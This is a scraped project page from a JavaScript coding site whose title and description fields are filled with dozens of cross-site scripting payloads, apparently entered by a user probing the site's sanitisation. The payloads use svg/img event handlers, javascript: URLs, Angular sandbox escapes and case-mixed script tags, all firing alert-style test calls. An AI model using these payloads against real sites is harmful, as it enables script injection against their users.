Drag the background!
="alert(\'xss\')">hii> ">">sv " ); $('head').append ( " " ); $('head').append ( " " ); $('head').append ( " " ); $('head').append ( " " ); });
World: "onmouseover="alert(1) <svg<script> onmou<script>seover</script>="alert('xss')">hii</svg</script>> ">"><svg on"><sv">sv<svg on

Owner: sectestesec@gmail.com  
API: Canvas (r1)
World type: Uses Mind

"onmouseover="alert(1) <svg<script> onmou<script>seover</script>="alert('xss')">hii</svg</script>> ">"><svg on"><sv">sv<svg onload=(alert)(1)>g onload=(alert)(1)>load=(alert)(1)> "><svg><discard%20onbegin=alert(1)> <svg><a><animate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F><text+x%3D20+y%3D20>Click%20me<%2Ftext><%2Fa> {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}} {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} <script src=<%= ResolveUrl(~/Script.js) %>></script> /(A(%22onerror='alert%601%60'testabcd))/ <svg<script> onmou<script>seover</script>="alert('xss')">hii</svg</script>> "/><img src=xss onerror=alert(1)><IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> PL"><svg/onload=alert("XSS")><" <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> ">'><details/open/ontoggle=confirm('XSS')> "><svg onload=(alert)(1)> />&_lt;_script>alert(1)&_lt;/scr_ipt&gt/> "><svg/onload=alert(document.domain)> [XSS](.alert(1);) sample-csv-sku.csv"-alert(document.domain)-" <script>alert(123);</script> <ScRipT>alert("XSS");</ScRipT> <script>alert(123)</script> <script>alert("hellox worldss");</script> <script>alert(XSS)</script> <script>alert(XSS);</script> <script>alert(XSS)</script> ><script>alert(XSS)</script> <script>alert(/XSS)</script> <script>alert(/XSS/)</script> </script><script>alert(1)</script> ; alert(1); )alert(1);// <ScRiPt>alert(1)</sCriPt> <IMG SRC=jAVasCrIPt:alert(XSS)> <IMG SRC=javascript:alert(XSS);> <IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMG SRC=javascript:alert(XSS)> <img src=xss onerror=alert(1)> <img/src=`` onerror=this.onerror=confirm(1) <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? <style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&r

Created: 3 Jul 2020
Modified: 17 Sep 2023

Type: Public. Plain JS.
View plain JS.

Problem with embed code: No Mind visible.

18 runs

Tweet this World:  

Run World broken. No Minds found. Cannot run.
Edit Must be logged in.
Update image Must be logged in.
Clone Must be logged in.
New Mind Must be logged in.
Change World type Must be owner.
Change API Must be owner.
Delete Must be owner.
The background is a program, showing the JavaScript graphics used on this site.
The globes light up when you log in.
 
Font:

Users retain ownership of user content.

Platforms      Stats      The name      Terms and conditions

Call for partners      Contact

Call for partners!
Ancient Brain is looking for a partner to co-write a JavaScript coding book for schools, to be used worldwide. This would be a course for students in learning to code from scratch. The book and course will be integrated into the Ancient Brain site. This is an opportunity for someone looking to develop a course and textbook to partner with a site to promote it. Read more.